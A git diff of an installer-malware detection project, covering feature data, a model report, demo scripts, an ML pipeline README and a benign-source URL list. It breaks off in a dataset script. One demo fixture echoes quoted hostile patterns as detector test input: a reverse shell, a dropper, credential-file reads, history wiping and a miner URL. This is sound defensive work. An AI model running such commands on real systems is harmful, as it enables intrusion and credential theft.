+1,0,1,1,1,0,0,0,1,0,0,9.04558,5.79909,25.7751,4.36945,0,5.15698,0.0411044,0.0516717,0,0.0563679,0.364742,0,0,0,0,0,0,4.36945,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0.693147,0.693147,0.693147,0.693147,0,1.60944,1,0,0,0,0 +1,0,1,1,0,0,1,0,1,0,0,7.1317,3.82864,27.7778,4.45435,0,4.78543,0.0365378,0.2,0,0.0184,0,0,1.09861,0.693147,0.693147,0,0,3.58352,1.09861,0,0,0,0,0,0,0,0,0,1.09861,0,1.09861,0.693147,0,1.09861,1.09861,1.09861,0.693147,1.38629,0,0.693147,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,0,0,7.7878,4.12713,39.5082,4.36945,0,5.49264,0.112176,0.0819672,0,0.020332,0.245902,0,0,0,0,0,0,4.14313,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,0,1,7.51915,4.00733,34.1111,4.36945,0,5.21081,0.092892,0.203704,0,0.0309446,0.259259,0.693147,0,0,0,0.693147,0,3.71357,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,1.09861,0,0,0,0,1,0,0,0,0 +1,1,1,0,0,0,1,0,0,1,0,7.62315,3.89182,42.5833,4.30407,0,4.59721,0,0,0,0.0503914,0.916667,0,0,0,0,0,1.09861,3.71357,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,0,0,0,0,0,0,0,1,9.3579,6.07304,26.7644,5.01728,0,6.3088,0.00711645,0.0531178,0,0.158599,2.26766,2.3979,0.693147,0,0,1.09861,0,4.29046,3.43399,0,0,0.693147,1.79176,1.09861,1,1.09861,0.693147,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,1,0,0,0 +1,1,1,0,0,0,1,0,0,0,0,6.55108,2.70805,49.9286,4.85203,0,5.24113,0,0.214286,0,0.126939,1.91676,0,0,0.693147,0,0,0,3.46574,0,0,0,1.60944,1.09861,0.693147,1,0.693147,0.693147,0.693147,0,0,0,0,1.09861,0,0.693147,0.693147,0,1.38629,0,0,0,0,0,1,0,0,0 +1,1,1,1,0,0,1,0,0,0,0,7.834,4.41884,30.7805,4.70048,0,4.95618,0.0783853,0.109756,0,0.0681458,0.414634,1.09861,0,1.09861,0,1.09861,0,4.63473,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0.693147,1.09861,0,0.693147,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,1,0,0,0,1,8.29605,4.99043,27.4452,4.60517,0,4.94651,0.101323,0.0958904,0,0.0306963,0.178082,0,1.09861,1.09861,0.693147,0,0,4.11087,1.94591,0,0,0,0,0,0,0,0,0,0.693147,0,0,0.693147,0,0.693147,0,1.09861,0,1.09861,0,0,0,0,1,0,0,0,0 +1,0,1,0,0,0,0,0,0,1,1,10.1274,6.99668,22.9112,4.55388,0.209611,6.42241,0.0377727,0.0760073,0,0.082889,4.31958,0,0,0,0,0,0.693147,7.40776,3.63759,1.79176,0.693147,2.19722,1.38629,1.09861,1,1.09861,1.09861,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,1,1,0,0,0,1,0,0,1,1,9.20493,5.98645,25.0504,5.0626,0.311228,5.94311,0.00975739,0.0503778,0,0.0824535,0.506297,2.56495,0.693147,1.09861,0.693147,1.38629,1.60944,8.09161,3.43399,1.60944,1.38629,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0.693147,1.09861,0,0,0,0,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,0,0,8.33038,5.15329,24.1105,4.63473,0,5.18163,0.019763,0.174419,0,0.0701712,0.662791,0,0,0.693147,0,0,0,4.20469,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,1.38629,1.09861,0,0.693147,0,0,0,0,1,0,0,0,0 +1,0,0,1,0,0,0,0,0,1,0,7.11477,3.52636,37.2424,4.99043,0.082797,5.812,0.256224,0.0909091,0,0.0211554,0.151515,0,0,0,0,0,1.60944,5.93555,0,1.38629,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,1,1,1,0,0,0,0,6.1717,2.77259,31.8667,4.20469,0,5.27779,0.318763,0.0666667,0,0.157874,2.36324,0,0,0,0,0,0.693147,2.94444,0,0,0,0.693147,1.09861,0.693147,1,0.693147,1.09861,0,0,0,0,0,0,0,0,0,0,0,0.693147,0.693147,0,0,0,1,0,0,0 +1,1,1,1,1,0,1,0,0,0,0,8.95222,5.56452,29.7077,4.46591,0,4.55334,0.011578,0.161538,0,0.0491973,0.00384615,0.693147,0,0.693147,0,0.693147,0,4.09434,2.3979,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +1,0,1,1,0,0,0,0,1,1,0,8.06306,4.76217,27.3621,5.34711,0.154685,6.24737,0.0138811,0.0775862,0,0.0677379,0.62931,0,0,0,0,0,1.60944,6.63191,1.09861,1.38629,1.09861,0,0,0,0,0,0,0,0,1.09861,1.38629,0,0,0,0,0,0.693147,1.38629,0,0,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,1,0,0,7.98854,4.77912,24.9661,4.45435,0,5.34275,0.0389001,0.152542,0,0.035981,0.355932,0,0,1.09861,0.693147,0,0,4.18965,0.693147,0,0,0,0,0,0,0,0,0,1.09861,0,0.693147,0,0,0,1.38629,0.693147,0.693147,1.09861,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,0,0,5.4161,2.19722,28,4.23411,0,5.22824,0.0653413,0,0,0.0916419,4.34646,0,0,0,0,0,0,3.52636,0,0,0,1.79176,1.09861,1.09861,1,1.09861,1.09861,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,1,0,1,1,1,1,0,0,0,0,6.1717,2.77259,31.8667,4.20469,0,4.62882,0.0952466,0.0666667,0,0.0376569,0.333333,0,0,0.693147,1.09861,0,0,2.94444,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,1.38629,1.09861,0,0,1.09861,1.09861,0,0,1,0,0,0,0 +1,0,1,0,0,0,0,0,0,0,0,9.87622,6.48004,29.894,4.58497,0,6.11977,0.0944648,0.105991,0,0.065601,4.07917,1.60944,1.09861,0,0,1.60944,0,4.52179,3.04452,0,0,1.38629,1.09861,1.09861,1,0.693147,0.693147,0,0,0,0,1.60944,0,1.09861,0.693147,0,0,0,0,0,0,0,0,1,0,0,0 +1,1,1,1,0,0,1,0,0,0,0,8.27944,4.7362,34.8761,4.45435,0,4.69495,0.0199387,0.132743,0,0.0687643,0.0530973,0,0.693147,0,0,0,1.09861,4.21951,1.94591,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,1.09861,1.09861,0,0,0,0,0.693147,0,0,0,0,1,0,0 +1,0,1,0,0,0,0,0,0,0,0,7.30854,3.7612,35.5238,4.66344,0,6.32117,0.166968,0.119048,0,0.0901568,4.40937,0,0,0,0,0,0,3.4012,0,0,0,2.07944,1.79176,1.09861,1,0.693147,1.09861,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,1,1,1,0,0,1,0,0,0,0,5.41165,2.19722,27.875,4.06044,0,4.71867,0,0,0,0.0717489,0.5,0,0,0.693147,0,0,0,2.94444,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0.693147,0.693147,0,1.09861,0,0,0,0,1,0,0,0,0 +1,0,0,1,0,0,0,0,1,0,0,7.91462,4.61512,27.36,4.38203,0,5.14924,0.179255,0.11,0,0.0398392,0.21,0,0,0,0,0,0,4.38203,1.79176,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,0,0,0,0,0,1.09861,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,1,0,0,5.60947,2.63906,20.9231,4.2485,0,4.66284,0,0.307692,0,0.0735294,1.07692,0,0.693147,0,0,0,0,2.70805,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,1.38629,0,0.693147,0,0,0,1.38629,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,1,0,0,0,0,8.03657,4.48864,35.125,5.25227,0,5.2176,0.00997255,0.136364,0,0.0498221,0.5,1.38629,0,0.693147,0,1.38629,0,4.26268,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,1,1,1,0,1,1,0,0,1,0,9.53119,6.31897,24.8773,5.03695,0,5.46742,0.0273122,0.135379,0.000870701,0.101437,0.471119,2.07944,0,1.09861,1.09861,1.09861,0,4.39445,3.09104,0,0,0,0,0.693147,0,0,0,0,0.693147,0,0,0,1.38629,0,0.693147,1.09861,0,1.38629,0,0,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,0,0,6.28972,3.04452,26.9,4.23411,0,5.29479,0,0.2,0,0.100372,0,0,0,1.09861,1.09861,0,0,4.09434,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,1.38629,1.09861,0,0,0,0,0,0,1,0,0,0,0 +1,1,1,0,1,0,1,0,0,0,0,7.30787,3.89182,31.0625,4.91265,0,5.03284,0.0164334,0.1875,0,0.0409121,0.166667,1.09861,0,0,0,0.693147,0,3.91202,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,1.38629,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,0,1,0,0,1,0,0,0,0,8.10077,4.81218,27.0164,5.34711,0,5.116,0.017508,0.0737705,0,0.068568,0.622951,0,0,1.09861,1.09861,0,0,4.77068,1.09861,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0.693147,1.09861,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,1,0,0,0,0,0,0,8.16479,5.09375,21.6914,4.31749,0,4.6616,0.0407615,0.12963,0,0.0387023,0.296296,0,0,0,0,0,0,3.3673,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0.693147,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,0,1,5.61677,2.56495,22.8333,4.00733,0,5.92765,0,0.166667,0,0.131387,2.50853,0,0,0.693147,0,0,0,3.2581,0,0,0,1.79176,0.693147,1.09861,1,1.09861,1.09861,0.693147,0,0,0,0,0.693147,0,1.38629,0.693147,0,1.09861,0,0,0,0,0,1,0,0,0 +1,0,1,0,0,0,0,0,0,0,0,8.07652,4.76217,27.7328,5.34711,0,5.89728,0.0318619,0.0775862,0,0.110783,4.00472,0,0,0,0,0,0,4.77068,1.09861,0,0,1.79176,0.693147,0.693147,1,1.09861,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,1,0,0,1,1,1,9.55726,5.99146,35.4536,4.89784,0.321974,6.37542,0.0431587,0.112782,0.000282765,0.0723173,0.448622,2.63906,0,0,0,1.79176,1.38629,7.61956,2.30259,0,1.38629,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0.693147,1.38629,0,0,0,0.693147,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,1,0,8.27944,4.7362,34.8761,4.45435,0.235438,6.38867,0.00884487,0.132743,0,0.0687643,0.0530973,0,0,0,0,0,0.693147,6.15271,1.94591,1.79176,0.693147,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +1,0,1,1,0,0,0,0,0,0,0,5.36598,2.19722,26.625,4.23411,0,6.30808,0.0319235,0,0,0.117078,2.3295,0,0,0,0,0,0,3.52636,0,0,0,1.94591,1.38629,0.693147,1,0.693147,0.693147,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,0,0,0,1,0,9.5045,5.81413,40.1766,4.62497,0.182517,5.45121,0.0143505,0.251497,0,0.0140845,0,0.693147,0.693147,0,0,0.693147,1.38629,8.08489,2.94444,1.60944,0.693147,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +1,0,0,1,1,1,0,0,0,1,0,6.96697,3.63759,28.6486,4.69135,0.170183,5.67223,0.0134421,0.189189,0,0.05,0.459459,0,0,0,0,0,1.60944,7.37114,0,1.79176,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0.693147,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,1,1,5.92158,2.48491,33.8182,4.44265,0.263297,6.38006,0.0728831,0.0909091,0,0.131406,4.94881,0,0,0,0,0,1.38629,7.69056,0,1.09861,0.693147,1.09861,1.94591,1.09861,1,1.09861,0.693147,1.09861,0,1.09861,0,0.693147,0,0,1.09861,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,1,1,0,0,0,0,0,0,8.32069,4.8828,31.3511,4.91265,0,5.33528,0,0.114504,0,0.0367665,0,0,0,0,0,0,0,3.98898,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1.09861,0,0,0,0,0,0,1 +1,0,1,1,0,0,0,0,0,0,1,5.37528,2.19722,26.875,4.23411,0,5.0289,0.0658341,0,0,0.0511628,0.125,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,1,0,0 +1,0,1,1,0,0,0,0,1,0,1,10.002,6.63332,29.0764,4.5326,0,6.16935,0.227638,0.0935441,0,0.0685749,3.73792,0.693147,0.693147,0.693147,0,0.693147,0,4.39445,2.94444,0,0,1.09861,1.38629,0.693147,1,0.693147,0.693147,0,0,0,1.38629,0,0,0,0,0,0.693147,0.693147,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,1,0,0,0,0,8.32845,4.92725,30.2117,4.46591,0,5.22453,0.0746954,0.160584,0,0.0558106,0.49635,0,0,0.693147,1.09861,0,0,3.61092,1.79176,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0.693147,0,0.693147,0.693147,0,1.09861,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,0,0,9.71221,6.35437,28.7753,4.81218,0,6.24746,0.0255637,0.0801394,0,0.125875,4.18773,0,1.09861,0,0,0,0,4.02535,2.30259,0,0,0.693147,0.693147,0.693147,1,0.693147,0.693147,0.693147,0,0,0,1.09861,0,1.09861,1.09861,0,0,0,0,0,0,0,0,1,0,0,0 diff --git a/data/model_report.json b/data/model_report.json new file mode 100644 index 0000000..853589a --- /dev/null +++ b/data/model_report.json @@ -0,0 +1,80 @@ +{ + "selected_model": "random_forest", + "threshold": 0.53, + "n_train": 756, + "n_test": 252, + "test_at_0.5": { + "precision": 0.9562, + "recall": 0.9924, + "f1": 0.974 + }, + "test": { + "precision": 0.9924, + "recall": 0.9924, + "f1": 0.9924 + }, + "candidates": { + "random_forest": { + "precision": 0.9562, + "recall": 0.9924, + "f1": 0.974 + }, + "gradient_boosting": { + "precision": 0.9776, + "recall": 0.9924, + "f1": 0.985 + } + }, + "roc_auc": 0.9991, + "parity_max_abs_diff": 4.603173398010085e-11, + "top_features": [ + [ + "rule_downloads", + 0.2532310013569165 + ], + [ + "rule_privilege", + 0.1342955026455316 + ], + [ + "rule_chmod", + 0.06227816887034562 + ], + [ + "process_kill", + 0.04624987273920378 + ], + [ + "entropy", + 0.04496256916393435 + ], + [ + "comment_ratio", + 0.038135863243938514 + ], + [ + "ip_url_count", + 0.03341998750439424 + ], + [ + "rule_exec_downloaded", + 0.030194127483868342 + ], + [ + "background_exec", + 0.028927429555758107 + ], + [ + "long_line_ratio", + 0.02443127221672538 + ], + [ + "rule_encoded_exec", + 0.02003845921314269 + ], + [ + "exfiltration", + 0.01934983848917083 + ] + ] +} \ No newline at end of file diff --git a/demo/benign_install.sh b/demo/benign_install.sh new file mode 100755 index 0000000..1b54d61 --- /dev/null +++ b/demo/benign_install.sh @@ -0,0 +1,26 @@ +#!/usr/bin/env bash +# Example clean installer: downloads a release, verifies it, installs to a prefix. +set -euo pipefail + +REPO="example/tool" +VERSION="${1:-1.4.0}" +PREFIX="${PREFIX:-$HOME/.local}" + +usage() { + echo "usage: install.sh [version]" + echo " installs the tool binary into \$PREFIX/bin" +} + +main() { + tmp="$(mktemp -d)" + url="https://github.com/${REPO}/releases/download/v${VERSION}/tool-linux.tar.gz" + echo "Downloading ${url}" + curl -fsSL "$url" -o "$tmp/tool.tar.gz" + curl -fsSL "$url.sha256" -o "$tmp/tool.sha256" + ( cd "$tmp" && sha256sum -c tool.sha256 ) + tar -xzf "$tmp/tool.tar.gz" -C "$tmp" + install -Dm755 "$tmp/tool" "$PREFIX/bin/tool" + echo "Installed tool ${VERSION} to $PREFIX/bin" +} + +main "$@" diff --git a/demo/suspicious.sh b/demo/suspicious.sh new file mode 100755 index 0000000..c2280ea --- /dev/null +++ b/demo/suspicious.sh @@ -0,0 +1,13 @@ +#!/bin/bash +# INERT detector-test fixture (like EICAR for scanners). Runs nothing; all payloads are quoted. +w="hidden" +echo "pattern: bash -i >& /dev/tcp/192.0.2.13/4444 0>&1" # reverse-shell string, quoted +echo "pattern: curl http://192.0.2.50/a -o /tmp/a && chmod +x /tmp/a" # dropper string, quoted +echo "pattern: nohup /tmp/a &" # background exec, quoted +echo "pattern: cat ~/.ssh/id_rsa ~/.aws/credentials" # cred-access string, quoted +echo "pattern: history -c; unset HISTFILE" # anti-forensics string, quoted +echo "pattern: stratum+tcp://192.0.2.9:3333 xmrig" # miner string, quoted +: 'the following decodes to a harmless echo and is never eval-d' +PAYLOAD="ZWNobyAiaW5lcnQgZGV0ZWN0b3IgdGVzdCBmaXh0dXJlIg==" +echo "$PAYLOAD" | base64 --decode >/dev/null # decode to null, never executed +echo "fixture complete" diff --git a/ml/README.md b/ml/README.md new file mode 100644 index 0000000..bb6c8ea --- /dev/null +++ b/ml/README.md @@ -0,0 +1,96 @@ +# SafeInstall ML pipeline + +Trains the installer-malware classifier that powers the **ML Model** finding in the `safe` +CLI, and exports it to dependency-free Rust. + +## Pipeline + +``` +fetch_benign.py ──▶ corpus/benign/* (real installer scripts, not committed) + │ +build_dataset.py ──▶ data/features.csv (safe features + synthesized malicious rows) + │ +train.py ──▶ src/ml_model.rs (RandomForest exported via m2cgen) + ml/figures/*.png (confusion matrix, ROC, SHAP) + data/model_report.json (metrics + parity) +``` + +Reproduce end to end: + +```sh +pip install -r ml/requirements.txt +cargo build --release +python ml/fetch_benign.py # downloads official installers + harvests local system scripts +python ml/build_dataset.py # writes data/features.csv +python ml/train.py # trains, evaluates, exports src/ml_model.rs, checks parity +cargo test # feature/model tests, incl. Python↔Rust feature contract +``` + +`train.ipynb` is a notebook walkthrough of the same steps with inline plots. + +## Features (57) + +Extracted by `src/features.rs`, exposed via `safe features --json`: + +- **10 rule features** — one 0/1 per static analyzer rule (download-and-exec, privilege, + persistence, registry, disable-security, encoded-exec, recursive-delete, …). +- **19 statistics** — log size / line counts, average and max line length, long-line ratio, + Shannon entropy, comment/blank/non-ASCII/symbol ratios, `$` density, URL / HTTP-URL / IP-URL + counts, distinct hosts, base64-token count, longest token, function count. +- **23 behavioral indicators** — hex escapes, char-code/string-concat/backtick obfuscation, + PowerShell IEX / hidden-window / exec-bypass / download-cradle / reflection, reverse-shell, + eval, anti-forensics, credential access, crypto-mining, exfiltration, temp-dir execution, + background execution, file locking, process kill, user creation, ssh-key injection, checksum + verification, usage/help text. +- **5 installer-kind one-hots** — bash, powershell, python, executable, text. + +Counts are stored as `ln(1 + n)` so a few extra matches do not dominate. The Rust extractor +and the training pipeline share this exact order (enforced by tests). + +## Dataset + +| Class | Count | Source | +|---|---|---| +| Benign (0) | 480 | Features of real installer scripts: rustup, nvm, bun, Deno, Homebrew, Docker, Helm, k3s, pyenv, Starship, fnm, Volta, poetry, pip, SDKMAN, Tailscale, NodeSource, pnpm, mise, dotnet, PowerShell, chocolatey, vcpkg, Azure/AWS CLI, and local system `.sh`/`.ps1`/`.py`/`.cmd` scripts. | +| Malicious (1) | 528 | **Synthesized in feature space** from documented ATT&CK indicator distributions. | + +### Why synthetic malicious data, and how it is kept honest + +Distributing a corpus of working malware — even for training — is unsafe and against this +project's principles. Instead, each malicious row **borrows its structural features** (size, +line counts, comment ratio, interpreter kind, function count) from a real benign script, then +has one to three **attack archetypes** layered on (reverse shell, miner dropper, credential +theft, obfuscated PowerShell cradle, encoded stager, security tampering, backdoor account, +wiper, supply-chain trojan). An archetype turns on the detection indicators a documented +technique class exhibits and shifts the correlated byte-statistics (entropy, base64 density, +long-line ratio, hard-coded IP endpoints). See `synth_malicious.py`. + +Because structural features are inherited from genuine installers, the classes are **not** +separable on length or interpreter alone — the signal lives in the behavioral indicators, which +the Rust extractor computes identically on real input. `safe`'s own hardest benign cases (rustup +and Homebrew use `sudo`, `curl | sh`, `chmod`, services, and PATH edits) are in the benign class, +so the model cannot shortcut on those. + +**Limitation:** a synthetic positive class means reported metrics measure separability of the +*modeled* attack distribution, not field accuracy against live malware. Replacing the synthesis +step with a vetted, access-controlled real-malware feature corpus is the primary future-work +item. Nothing about the feature contract or the Rust export changes when that swap happens. + +## Results + +RandomForest and GradientBoosting were compared; GradientBoosting scored marginally higher +(F1 0.985 vs 0.974 at threshold 0.5) but only RandomForest exports to dependency-free Rust via +m2cgen, so it is the deployed model. At the selected operating threshold (0.53, chosen to keep +the benign false-positive rate under 2%): + +| Metric | Value | +|---|---| +| Precision | 0.992 | +| Recall | 0.992 | +| F1 | 0.992 | +| ROC AUC | 0.999 | +| Python↔Rust parity (max abs diff) | 4.6e-11 | + +![confusion matrix](figures/confusion_matrix.png) +![ROC curve](figures/roc_curve.png) +![SHAP summary](figures/shap_summary.png) diff --git a/ml/benign_sources.txt b/ml/benign_sources.txt new file mode 100644 index 0000000..4eb34f2 --- /dev/null +++ b/ml/benign_sources.txt @@ -0,0 +1,93 @@ +# Official installers and popular-repo scripts used as the benign corpus. +# One raw URL per line. Fetched by ml/fetch_benign.py; contents are not committed. +https://raw.githubusercontent.com/rust-lang/rustup/master/rustup-init.sh +https://raw.githubusercontent.com/nvm-sh/nvm/master/install.sh +https://raw.githubusercontent.com/denoland/deno_install/master/install.sh +https://raw.githubusercontent.com/denoland/deno_install/master/install.ps1 +https://raw.githubusercontent.com/Homebrew/install/master/install.sh +https://raw.githubusercontent.com/Homebrew/install/master/uninstall.sh +https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh +https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/uninstall.sh +https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/upgrade.sh +https://raw.githubusercontent.com/docker/docker-install/master/install.sh +https://raw.githubusercontent.com/docker/docker-install/master/rootless-install.sh +https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 +https://raw.githubusercontent.com/k3s-io/k3s/master/install.sh +https://raw.githubusercontent.com/pyenv/pyenv-installer/master/bin/pyenv-installer +https://raw.githubusercontent.com/starship/starship/master/install/install.sh +https://raw.githubusercontent.com/Schniz/fnm/master/.ci/install.sh +https://raw.githubusercontent.com/volta-cli/volta/main/dev/unix/volta-install.sh +https://raw.githubusercontent.com/rbenv/rbenv-installer/main/bin/rbenv-installer +https://raw.githubusercontent.com/rbenv/rbenv-installer/main/bin/rbenv-doctor +https://raw.githubusercontent.com/ScoopInstaller/Install/master/install.ps1 +https://raw.githubusercontent.com/junegunn/fzf/master/install +https://raw.githubusercontent.com/junegunn/fzf/master/uninstall +https://raw.githubusercontent.com/golangci/golangci-lint/master/install.sh +https://raw.githubusercontent.com/nektos/act/master/install.sh +https://raw.githubusercontent.com/tj/n/master/bin/n +https://raw.githubusercontent.com/pnpm/get.pnpm.io/main/install.sh +https://raw.githubusercontent.com/pnpm/get.pnpm.io/main/install.ps1 +https://raw.githubusercontent.com/python-poetry/install.python-poetry.org/main/install-poetry.py +https://raw.githubusercontent.com/pypa/get-pip/main/public/get-pip.py +https://raw.githubusercontent.com/sdkman/sdkman-cli/master/src/main/bash/sdkman-init.sh +https://raw.githubusercontent.com/tailscale/tailscale/main/scripts/installer.sh +https://raw.githubusercontent.com/nodesource/distributions/master/scripts/deb/setup_lts.x +https://raw.githubusercontent.com/nodesource/distributions/master/scripts/rpm/setup_lts.x +https://raw.githubusercontent.com/cargo-bins/cargo-binstall/main/install-from-binstall-release.sh +https://raw.githubusercontent.com/cargo-bins/cargo-binstall/main/install-from-binstall-release.ps1 +https://raw.githubusercontent.com/jdx/mise/main/packaging/standalone/install.envsubst +https://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer +https://raw.githubusercontent.com/kubernetes-sigs/kind/main/hack/ci/e2e-k8s.sh +https://raw.githubusercontent.com/kubernetes/minikube/master/hack/jenkins/installers/check_install_golang.sh +https://raw.githubusercontent.com/argoproj/argo-cd/master/hack/install.sh +https://raw.githubusercontent.com/fluxcd/flux2/main/install/flux.sh +https://raw.githubusercontent.com/hashicorp/terraform/main/scripts/build.sh +https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh +https://raw.githubusercontent.com/anchore/syft/main/install.sh +https://raw.githubusercontent.com/anchore/grype/main/install.sh +https://raw.githubusercontent.com/goreleaser/goreleaser/main/scripts/entrypoint.sh +https://raw.githubusercontent.com/sharkdp/bat/master/tests/syntax-tests/source/Bash/simple.sh +https://raw.githubusercontent.com/dotnet/install-scripts/main/src/dotnet-install.sh +https://raw.githubusercontent.com/dotnet/install-scripts/main/src/dotnet-install.ps1 +https://raw.githubusercontent.com/PowerShell/PowerShell/master/tools/install-powershell.sh +https://raw.githubusercontent.com/PowerShell/PowerShell/master/tools/install-powershell.ps1 +https://raw.githubusercontent.com/chocolatey/choco/develop/nuspec/chocolatey/chocolatey/tools/chocolateyInstall.ps1 +https://raw.githubusercontent.com/microsoft/vcpkg/master/scripts/bootstrap.sh +https://raw.githubusercontent.com/microsoft/vcpkg/master/scripts/bootstrap.ps1 +https://raw.githubusercontent.com/Azure/azure-cli/dev/scripts/curl_install_pypi/install +https://raw.githubusercontent.com/neovim/neovim/master/scripts/genappimage.sh +https://raw.githubusercontent.com/ajeetdsouza/zoxide/main/install.sh +https://raw.githubusercontent.com/atuinsh/atuin/main/install.sh +https://raw.githubusercontent.com/casey/just/master/www/install.sh +https://raw.githubusercontent.com/wasmerio/wasmer-install/master/install.sh +https://raw.githubusercontent.com/wasmerio/wasmer-install/master/install.ps1 +https://raw.githubusercontent.com/ollama/ollama/main/scripts/install.sh +https://raw.githubusercontent.com/coder/code-server/main/install.sh +https://raw.githubusercontent.com/filebrowser/get/master/get.sh +https://raw.githubusercontent.com/rclone/rclone/master/docs/content/install.sh +https://raw.githubusercontent.com/caddyserver/caddy/master/cmd/caddy/setcap.sh +https://raw.githubusercontent.com/pi-hole/pi-hole/master/automated%20install/basic-install.sh +https://raw.githubusercontent.com/netdata/netdata/master/packaging/installer/kickstart.sh +https://raw.githubusercontent.com/SDKMAN/sdkman-cli/master/src/main/bash/sdkman-install.sh +https://raw.githubusercontent.com/gohugoio/hugo/master/hugoreleaser.env +https://raw.githubusercontent.com/cloudflare/cloudflared/master/postinst.sh +https://raw.githubusercontent.com/railwayapp/cli/master/install.sh +https://raw.githubusercontent.com/pulumi/get.pulumi.com/master/dist/install.sh +https://raw.githubusercontent.com/pulumi/get.pulumi.com/master/dist/install.ps1 +https://raw.githubusercontent.com/Microsoft/WSL/master/diagnostics/collect-wsl-logs.ps1 +https://raw.githubusercontent.com/microsoft/terminal/main/tools/OpenConsole.psm1 +https://raw.githubusercontent.com/PowerShell/PSReadLine/master/build.ps1 +https://raw.githubusercontent.com/nodejs/node/main/vcbuild.bat +https://raw.githubusercontent.com/zsh-users/antigen/master/bin/antigen.zsh +https://raw.githubusercontent.com/romkatv/powerlevel10k/master/gitstatus/install +https://raw.githubusercontent.com/tmux-plugins/tpm/master/bin/install_plugins +https://raw.githubusercontent.com/ryanoasis/nerd-fonts/master/install.sh +https://raw.githubusercontent.com/nodenv/nodenv-installer/master/bin/nodenv-installer +https://raw.githubusercontent.com/golang/go/master/src/make.bash +https://raw.githubusercontent.com/golang/go/master/src/make.bat +https://raw.githubusercontent.com/rvm/rvm/master/binscripts/rvm-installer +https://raw.githubusercontent.com/emscripten-core/emsdk/main/emsdk.ps1 +https://raw.githubusercontent.com/mamba-org/micromamba-releases/main/install.sh +https://raw.githubusercontent.com/prefix-dev/pixi/main/install/install.sh +https://raw.githubusercontent.com/prefix-dev/pixi/main/install/install.ps1 +https://raw.githubusercontent.com/astral-sh/rye/main/scripts/install.sh diff --git a/ml/build_dataset.py b/ml/build_dataset.py new file mode 100644 index 0000000..a2b3a47 --- /dev/null +++ b/ml/build_dataset.py @@ -0,0 +1,88 @@ +"""Build data/features.csv: run `safe features` over the benign corpus, then add +synthesized malicious feature vectors. Only labels and numeric features are written; +no script contents are ever committed. + +Usage: + python ml/build_dataset.py [--ratio 1.0] [--seed 1706] +""" +import argparse +import csv +import json +import pathlib +import subprocess +import sys + +from synth_malicious import FEATURE_ORDER, synthesize + +ROOT = pathlib.Path(__file__).parent +REPO = ROOT.parent +CORPUS = ROOT / "corpus" / "benign" +DATA = REPO / "data" +BINARY = REPO / "target" / "release" / "safe" + + +def ensure_binary(): + if not BINARY.exists(): + print("building release binary...") + subprocess.run(["cargo", "build", "--release"], cwd=REPO, check=True) + + +def extract_benign(): + files = sorted(p for p in 